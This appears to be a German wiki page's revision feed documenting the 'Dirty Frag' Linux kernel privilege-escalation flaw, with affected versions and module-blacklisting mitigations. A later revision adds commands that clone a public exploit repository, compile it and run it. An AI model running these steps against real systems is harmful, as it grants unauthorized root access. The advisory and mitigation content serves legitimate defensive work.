https://wiki.ixheim.de/index.php?action=history&feed=atom&title=CVE-2026-43284
CVE-2026-43284 - Versionsgeschichte
2026-06-17T17:16:45Z
Versionsgeschichte dieser Seite in Xinux Wiki
MediaWiki 1.35.1
https://wiki.ixheim.de/index.php?title=CVE-2026-43284&diff=69798&oldid=prev
Thomas.will: /* Proof of Concept */
2026-05-08T13:44:47Z
<p><span dir="auto"><span class="autocomment">Proof of Concept</span></span></p>
<table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface">
<col class="diff-marker" />
<col class="diff-content" />
<col class="diff-marker" />
<col class="diff-content" />
<tr class="diff-title" lang="de">
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Nächstältere Version</td>
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Version vom 8. Mai 2026, 13:44 Uhr</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l41" >Zeile 41:</td>
<td colspan="2" class="diff-lineno">Zeile 41:</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Proof of Concept=</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Proof of Concept=</div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del class="diffchange diffchange-inline">''(hier einfügen)''</del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">*git clone https://github.com/V4bel/dirtyfrag.git</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">*cd dirtyfrag</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">*gcc -O0 -Wall -o exp exp.c -lutil</ins></div></td></tr>
<tr><td colspan="2"> </td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">*./exp</ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Fix=</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>=Fix=</div></td></tr>
</table>
Thomas.will
https://wiki.ixheim.de/index.php?title=CVE-2026-43284&diff=69797&oldid=prev
Thomas.will: Die Seite wurde neu angelegt: „=Beschreibung= „Dirty Frag" (CVE-2026-43284 / CVE-2026-43500) ist eine schwerwiegende Sicherheitslücke im Linux-Kernel, die durch die Verkettung zweier unab…“
2026-05-08T13:43:53Z
<p>Die Seite wurde neu angelegt: „=Beschreibung= „Dirty Frag" (CVE-2026-43284 / CVE-2026-43500) ist eine schwerwiegende Sicherheitslücke im Linux-Kernel, die durch die Verkettung zweier unab…“</p>
<p><b>Neue Seite</b></p><div>=Beschreibung=<br />
„Dirty Frag" (CVE-2026-43284 / CVE-2026-43500) ist eine schwerwiegende<br />
Sicherheitslücke im Linux-Kernel, die durch die Verkettung zweier unabhängiger<br />
Page-Cache-Write-Schwachstellen eine lokale Privilegienerweiterung (Local Privilege<br />
Escalation, LPE) auf nahezu allen gängigen Linux-Distributionen ermöglicht.<br />
<br />
Die Schwachstelle gehört zur selben Fehlerklasse wie ''Dirty Pipe'' und ''Copy Fail'':<br />
Ein normaler Benutzer ohne Root-Rechte kann gezielt Daten in den ''Page Cache'' des<br />
Kernels schreiben, ohne dass die eigentliche Datei auf dem Datenträger verändert wird.<br />
Klassische Erkennungsmethoden wie Hashprüfungen oder Log-Analysen greifen daher nicht.<br />
Nach einem Neustart oder beim Leeren des Caches verschwinden alle Spuren automatisch.<br />
<br />
Im Gegensatz zu vielen anderen Kernel-Exploits erfordert Dirty Frag kein präzises<br />
Timing und keinen Race Condition – es handelt sich um einen deterministischen<br />
Logikfehler mit sehr hoher Erfolgsrate.<br />
<br />
==Betroffene Komponenten==<br />
Dirty Frag verkettet zwei Schwachstellen, die sich gegenseitig ergänzen:<br />
<br />
;xfrm-ESP Page-Cache Write (CVE-2026-43284)<br />
:Vorhanden seit Commit <code>cac2661c53f3</code> (Januar 2017), gepatcht in Mainline<br />
bei <code>f4c50a4034e6</code>. Erfordert das Recht zur Erstellung eines User Namespace.<br />
<br />
;RxRPC Page-Cache Write (CVE-2026-43500)<br />
:Vorhanden seit Commit <code>2dc334f1a63a</code> (Juni 2023), noch kein Patch verfügbar.<br />
Erfordert kein Namespace-Privilege, setzt jedoch das Modul <code>rxrpc.ko</code> voraus.<br />
<br />
Durch die Verkettung beider Varianten werden die jeweiligen blinden Flecken abgedeckt:<br />
Wo <code>xfrm-ESP</code> durch AppArmor-Richtlinien blockiert wird (z. B. Ubuntu),<br />
greift <code>RxRPC</code> – und umgekehrt.<br />
<br />
==Betroffene Versionen==<br />
Die effektive Lebensdauer der Schwachstellen beträgt bis zu 9 Jahre.<br />
Getestete Distributionen:<br />
*Ubuntu 24.04.4 (Kernel 6.17.0-23-generic)<br />
*RHEL 10.1 (6.12.0-124.49.1.el10_1.x86_64)<br />
*CentOS Stream 10 (6.12.0-224.el10.x86_64)<br />
*AlmaLinux 10 (6.12.0-124.52.3.el10_1.x86_64)<br />
*Fedora 44 (6.19.14-300.fc44.x86_64)<br />
*openSUSE Tumbleweed (7.0.2-1-default)<br />
<br />
=Proof of Concept=<br />
''(hier einfügen)''<br />
<br />
=Fix=<br />
Bis ein offizieller Kernel-Patch für die verwendete Distribution verfügbar ist,<br />
können die verwundbare Module deaktiviert werden. Dieser Schritt erfordert keinen<br />
Neustart.<br />
<br />
;Module dauerhaft deaktivieren und sofort entladen<br />
*<code>sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"</code><br />
<br />
;Page Cache leeren (falls Exploit bereits ausgeführt wurde)<br />
*<code>echo 3 > /proc/sys/vm/drop_caches</code><br />
<br />
Nach einem verfügbaren Kernel-Update:<br />
;Debian/Ubuntu<br />
*<code>apt update && apt upgrade</code><br />
;Rocky Linux / RHEL / Fedora<br />
*<code>dnf update</code><br />
<br />
Anschließend Neustart durchführen und prüfen, ob das Update den jeweiligen Patch enthält.<br />
<br />
==Verhältnis zu Copy Fail==<br />
Dirty Frag teilt denselben Sink wie ''Copy Fail'' im xfrm-ESP-Pfad. Systeme, auf<br />
denen die bekannte Copy-Fail-Mitigation (Blacklist von <code>algif_aead</code>)<br />
angewendet wurde, sind weiterhin durch Dirty Frag verwundbar.<br />
<br />
[[Kategorie:Security]]</div>
Thomas.will